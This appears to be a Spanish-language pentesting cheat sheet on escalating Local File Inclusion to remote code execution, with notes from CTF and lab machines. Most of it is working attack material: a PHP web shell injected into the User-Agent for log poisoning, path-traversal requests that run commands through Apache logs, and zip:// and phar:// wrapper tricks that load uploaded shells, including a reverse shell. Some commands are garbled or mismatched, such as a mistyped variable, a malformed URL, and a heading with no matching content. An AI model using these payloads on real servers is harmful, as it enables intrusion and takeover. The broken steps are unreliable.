LFI (Local File Inclusion) es una vulnerabilidad de seguridad que ocurre cuando una aplicación web permite a los usuarios incluir archivos en el servidor a través de parámetros de entrada sin una validación adecuada. Esto puede permitir a un atacante leer archivos sensibles, ejecutar scripts maliciosos o incluso tomar el control del servidor en ciertos casos.
LFI: Podemos CARGAR y EJECUTAR archivos locales en el contexto del usuario el cual está corriendo el servidor.
Impacto
Ejecución de código en el servidor web.
Ejecución de código en el cliente (como JavaScript), lo que puede causar ataques como XSS.
Denegación de servicio (DoS).
Divulgación de información confidencial.
LFI TO RCE via Log Poisoning
Esta técnica se centra en envenenar los logs con comandos para luego, al cargar dichos logs se interprete nuestro código y tengamos ejecución remota de comandos (RCE).
// Insertar en user agent: <?php echo system($_GET['cmd']); ?>
GET /index.php?page=admin.php HTTP/1.1
HOST: r4z0r.gitbook.io
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
Accept: ….
Paso 2: Ejecutar el código con curl
curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami
// en caso que se rompa la consulta con espacio usar %20 -> ls%20-la
La explotación de LFI en Windows sólo difiere de Linux en lo que respecta a las rutas de los archivos y la ejecución del código. El fragmento de código PHP que utilizamos en esta sección para Linux también funciona en Windows, ya que utilizamos la función del sistema PHP que es independiente del sistema operativo subyacente. Cuando utilizamos Log Poisoning en Windows, debemos entender que los archivos de registro se encuentran en rutas específicas de la aplicación. Por ejemplo, en un objetivo que ejecuta XAMPP , los registros de Apache se pueden encontrar en C:\xampp\apache\logs\ .
LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning
Finding private keys
En algunas situaciones no tenemos el fichero id_rsa, por lo que debemos consultar el authorized_keys y ver qué tipo de clave es:
echo "<?php system(%_REQUEST['cmd']); ?>" > shell.php
zip -0 payload.zip payload.php;
mv payload.zip shell.jpg;
hhttps://r4z0r.gitbook.io/index.php?page=zip://shell.jpg%23payload.php - donde payload.php es el contenido del zip
// ziper proving grounds
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303041.zip%23shell&cmd=whoami // Donde shell es la shell.php que subimos y cmd es el parámetro. En este caso no había que poner shell.php porque ya lo agregaba solo a la extensión
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303311.zip%23php-reverse-shell
PHP Phar Wrapper
// subir un zip y cargarlo con phar - máquina resourced de hackthebox, reverse.php es la de pentest-monkey.
zip rev.zip reverse.php
itrc.ssg.htb/index.php?page=phar://uploads/faeea173dc4153f2e1c07a63da1917d51087bc30.zip/reverse